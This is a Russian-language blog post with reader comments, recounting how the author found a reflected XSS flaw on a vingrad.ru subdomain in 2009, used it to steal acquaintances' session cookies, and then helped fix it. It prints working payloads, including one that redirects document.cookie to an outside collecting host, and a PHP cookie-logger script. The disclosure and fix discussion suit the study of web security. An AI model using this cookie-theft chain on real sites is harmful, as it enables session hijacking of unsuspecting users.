История одного ресурса

    логотип форума Многие из хабраюзеров хоть раз в свой жизни встречались с XSS-уязвимостью, будь-то уязвимость на сайте-визитке, блоге, etc. Но мы верили надеялись, что такие гиганты как yandex, mail, youtube от этого защищены, но цикл статей от chelovekdimka нас в этом разубедил.

    А как же обстоят дела на одном из крупных ресурсах Рунета посвященному программистам?! Кому интересно – добро пожаловать.

    Как все начиналось


    На дворе стоял сентябрь 2009 год. Я, зеленый и сопливый веб-разработчик, получил должность КоМодератора PHP раздела. Счастливый как слон изучал открывшиеся возможности, как вдруг меня посетила шальная мысль – «а не проверить ли мне форум на уязвимости?».
    SQL-уязвимость мне не удалось обнаружить, а вот XSS’ку нашел.

    XSS – что это такое и с чем это едят?!

    XSS-атака – тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.

    Условно их делят на два вида:
    • активная, хранится на сервере и срабатывает при открытии какой-либо страницы заражённого сайта;
    • пассивная, не хранится на сервере уязвимого сайта и не может автоматически выполниться в браузере жертвы. Для срабатывания требуется некое дополнительное действие (например, клик по специально сформированной ссылке).

    Поиск по форуму


    После N-часов изучения и терзания движка на разные запросы у меня опустились руки. И затея стала казаться не такой уж радужной. И тут пришла шальная мысль №2 – «если форум не поддается, надо зайти с тыла другой стороны».
    Еще бы, форум базируется на Invision Power Board и все патчи к тому времени были поставлены.


    Обследуем дружественные ресурсы (*.vingrad.ru)


    Мое внимание привлекла «База знаний», а именно поле для поиска, и не зря.

    Вбив в поле любимую конструкцию <script>alert('XSS');</script> я … ничего не получил. Поиграв немного с параметрами был редиректнут на скрипт error.php c сообщением об ошибки, причем текст передавался обычным GET’ом. Profit!

    Легким движением руки данные в адресной строке моментально превратились в httр://<subdomain>.vingrad.ru/error.php?msg=<script>alert('XSS');</script> и дрожащая рука потянулась к энтеру.
    Думаю Вы сами догадались что произошло, но все же:
    XSS
    Минут 10 я как дурак улыбался экрану и думал о вечном.


    А можно ли извлечь «выгоду»?


    Конечно, никакую выгоду я извлекать не хотел и не пытался, а всего лишь хотел получить cookie зарегистрированного пользователя)
    Но форма авторизации меня смущала, а ведь я авторизирован на форуме. Значит сквозная авторизация не действует и надо как-то заставить пользователя авторизоваться, а только потом перейти по нашему адресу. В социальной инженерии я полный ноль, значит ищем другие пути.

    Одного взгляда на установленные cookie было достаточно:

    Уязвимость можно эксплуатировать (куки устанавливались для всех поддоменов – *.vingrad.ru).

    Меняем запрос на такой:
    httр://<subdomain>.vingrad.ru/error.php?msg=<script>document.write(document.cookie.substring(0, document.cookie.length))</script>
    И получаем долгожданные данные:
    PHPSESSID=ag08ccg6fsdf5fdgsdf34a34s536df4f;
    clickedFolderFrameless=;
    PHPSESSID=eccf4sdasbefea3c8esgdf27997d;
    pforumsession_id=3ds44554sgg6754f1dd73f27ab7ec;
    pforummember_id=007;
    pforumpass_hash=u3457a1259a39asb2ad4c77e682;


    Используем уязвимость


    Небольшой скрипт на PHP, бережно сохраняющий куки пользователей в файл:
    <?php
    if( isset( $_GET['q'] ) )
    {
        $fopen = fopen( time().'.cookie', 'w' );
        fwrite( $fopen, $_GET['q'] );
        fclose( $fopen );
    }
    
    header('Location: http://forum.vingrad.ru/forum/act-idx.html');
    ?>
    

    и в последний раз измененный запрос:
    httр://<subdomain>.vingrad.ru/error.php?msg=<script>document.location.href='httр://www.example.com/forum.php?vingrad='%2Bescape(document.cookie.substring(0, document.cookie.length))</script>
    позволил собрать куки нескольких знакомых)
    Чудес не бывает, всем участникам эксперимента была разослана ссылка, по которой они и перешли.

    Конец


    Естественно администратор был оповещен об этом, и вместе с ним мы закрыли эту уязвимость.
    Перед всеми пострадавшими были принесены извинения.
    Никто не обиделся.


    Пару ссылок

    Похожие публикации

    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 31

      0
      С чем была связана ошибка на форуме? Где косяк: настройка веб сервера или в самих скриптах проекта? Каким образом она была устранена?
        +1
        Скорее скрипт error.php просто представлял собой что-то типа:
        <? echo $_GET['msg'] ?>
        Вот и вся ошибка.
        Самое простое устранение — это эскейпить все символы из параметров, которые пришли извне. Ну или фильтровать.
          –1
          Самое простое устранение — ставить сессионные куки с флагом httponly.
            0
            Возможно это и есть решение конкретной проблемы, но уязвимости это не пофиксит.
              0
              Фильтровать все равно нужно, хотя httpOnly так же обязателен. Кстати, IPB ставит httpOnly-куки с версии 2.2.0. Сейчас так просто XSS не провернуть.
              0
              Да, так оно и было. Решили проблему фильтрацией данных
          +8
          Вообще, статья наталкивает на идею, как прорекламировать свой сайт на хабре :)
          Пишет php страничку позволяющую делать XSS, а дальше все как в этой статье.
          • НЛО прилетело и опубликовало эту надпись здесь
              0
              Видимо, о каждом более-менее известном.
              +11
              <script>alert('[sarcasm]Какая захватывающая история[/sarcasm]');</script>
                –4
                И в чём профит этой «атаки»?
                  0
                  Узнал куку — получил доступ.
                    –3
                    Да да да. Проверил при старте сессии ИП при создании сесии и с какого ИП идет обращение — несовпало, аааа нас хакают.
                    • НЛО прилетело и опубликовало эту надпись здесь
                –5
                Если сайт целиком построен на flash, никакой XSS ему на страшен :) По крайней мере ИМХО
                  +2
                  Ага, как и поисковые роботы, javascript и прочие ништяки :)
                    +2
                    А если сайт статический, то ему вообще почти ничего не страшно.
                      –3
                      Я вам глубоко сочувствую
                        0
                        Ему страшно за свое будущее.
                          0
                          Зато он по праву может гордиться своим прошлым!
                        0
                        И Apple пользователи ему тоже не страшны.
                          0
                          Продолжайте думать шаблонно, господин теоретик, а когда обзаведетесь маком — возвращайтесь, по-дискуссируем
                              0
                                0
                                У меня стоит Flash Block, я нажал на флешку, че-то запустилось, ник, список, но что делать дальше я не понял — все комнаты пустые, проверить не на ком. Да и не уверен я, что нет еще какой-нибудь скрытой флешки на странице, без которой ничего работать не будет. Flash на маке тупит, даже в Google Chrome, замерзают страницы, а в Safari так вообще ужас. Не знаю, может на последних топовых iMac и Mac Pro этой проблемы нет, но я на MacBook A1181 early 2008 это хорошо ощущаю. Даже музыку на ВКонтакте не слушаю, ибо лагает. А уж про Flash игры я вообще молчу. Нет, в принципе играть можно, но это не игра, а издевательство над нервной системой.
                                  0
                                  Ух. Тяжело вам. Надеюсь, скоро разработчики смогут нормально интегрировать флеш в макос, сможете с нами играть :)
                        0
                        что то я не уловил сути, в ipb все входящие теги сразу преобразовываются и что бы провести атаку нужно более сложный запрос отправить нежели Ваш, разве, что база знаний написана не по канонам ipb 1.*, пусть даже так, но ведь сессия привязана к ip (в 2.0+ так точно). Вам точно удалось получить полезную инфу от пользователя? :)
                          0
                          как вариант XSRF но статья этот момент не затрагивает.
                            +1
                            Не, это не CSRF/XSRF. Описано использование пассивной XSS.
                            Куки от форума удалось получить из-за специфичной настройки (они действовали для всего домена).
                            0
                            C ipb нечего не вышло, а вот база знаний — самописная. Уязвимость удалось обнаружить из-за доверия программиста к полученным данным от пользователя.

                            В конфигурации есть настройка — привязывать сессию к IP, на тот момент она была выключена.

                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                          Самое читаемое